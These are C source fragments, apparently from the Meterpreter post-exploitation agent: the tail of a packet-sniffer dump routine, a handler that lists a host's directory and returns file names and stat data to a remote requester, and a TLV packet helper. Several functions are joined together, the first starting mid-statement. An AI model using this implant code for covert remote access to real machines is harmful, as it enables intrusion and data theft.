(j->didx >= j->dlen - 1) { free(j->dbuf); j->dbuf = NULL; j->didx = 0; j->dlen = 0; // if dump occurs when interface is not active, i.e sniff has ended, release info if (j->active == 0) { dprintf("sniffer>> capture_dump_read, release CaptureJob"); lock_acquire(snifferm); for (i = 0; i < j->max_pkts; i++) { if (!j->pkts[i]) break; PktDestroy(j->pkts[i]); j->pkts[i] = NULL; } free(j->pkts); memset(j, 0, sizeof(CaptureJob)); lock_release(snifferm); } } fail: packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Gets the contents of a given directory path and returns the list of file * names to the requestor. * * TLVs: * * req: TLV_TYPE_DIRECTORY_PATH - The directory that should be listed */ DWORD request_fs_ls(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR directory; DWORD result = ERROR_SUCCESS; LPSTR expanded = NULL, tempFile = NULL; DWORD tempFileSize = 0; LPSTR baseDirectory = NULL; struct meterp_stat buf; directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); // Enumerate the directory if one was provided if (!directory) result = ERROR_INVALID_PARAMETER; else { #ifdef _WIN32 WIN32_FIND_DATA data; HANDLE ctx = NULL; #else DIR *ctx; struct dirent *data; #endif BOOLEAN freeDirectory = FALSE; LPSTR tempDirectory = (LPSTR)directory; #ifdef _WIN32 // If there is not wildcard mask on the directory, create a version of the // directory with a mask appended if (!strrchr(directory, '*')) { if (!(tempDirectory = (LPSTR)malloc(strlen(directory) + 3))) { result = ERROR_NOT_ENOUGH_MEMORY; goto out; } sprintf(tempDirectory, "%s\\*", directory); // Dupe! if (!(baseDirectory = _strdup(directory))) { result = ERROR_NOT_ENOUGH_MEMORY; goto out; } } // Otherwise, if it does have an asterisk, we need to scan back and find // the base directory. If there is no slash, it means we're listing the // cwd. else { PCHAR slash = strrchr(directory, '\\'); if (slash) { *slash = 0; if (!(baseDirectory = _strdup(directory))) { result = ERROR_NOT_ENOUGH_MEMORY; goto out; } *slash = '\\'; } } // Expand the path if (!(expanded = fs_expand_path(tempDirectory))) { result = ERROR_NOT_ENOUGH_MEMORY; goto out; } // Start the find operation ctx = FindFirstFile(expanded, &data); #define DF_NAME data.cFileName #else expanded = 0; ctx = opendir(tempDirectory); if(ctx == NULL) { result = errno; goto out; } data = readdir(ctx); #define DF_NAME data->d_name #endif do { DWORD fullSize = (baseDirectory ? strlen(baseDirectory) : 0) + strlen(DF_NAME) + 2; // No context? Sucktastic if (ctx == INVALID_HANDLE_VALUE) { result = GetLastError(); break; } // Allocate temporary storage to stat the file if ((!tempFile) || (tempFileSize < fullSize)) { if (tempFile) free(tempFile); // No memory means we suck a lot like spoon's mom if (!(tempFile = (LPSTR)malloc(fullSize))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Update the tempFileSize so that we don't allocate if we don't // need to like a true efficient ninja tempFileSize = fullSize; } // Build the full path if (baseDirectory) sprintf(tempFile, "%s\\%s", baseDirectory, DF_NAME); else sprintf(tempFile, "%s", DF_NAME); // Add the file name to the response packet_add_tlv_string(response, TLV_TYPE_FILE_NAME, DF_NAME); // Add the full path packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, tempFile); // Stat the file to get more information about it. if (fs_stat(tempFile, &buf) >= 0) packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf)); #ifdef _WIN32 } while (FindNextFile(ctx, &data)); #else } while (data = readdir(ctx)); #endif #undef DF_NAME // Clean up resources if (freeDirectory) free(tempDirectory); if (ctx) #ifdef _WIN32 FindClose(ctx); #else closedir(ctx); #endif }
/*! * @brief Add a string value TLV to a packet, including the \c NULL terminator. * @param packet Pointer to the packet to add the value to. * @param type TLV type for the value. * @param str Pointer to the string value to add to the packet. * @return Indication of success or failure. * @retval ERROR_SUCCESS The operation completed successfully. * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. */ DWORD packet_add_tlv_string( Packet *packet, TlvType type, LPCSTR str ) { return packet_add_tlv_raw(packet, type, (PUCHAR)str, (DWORD)strlen(str) + 1); }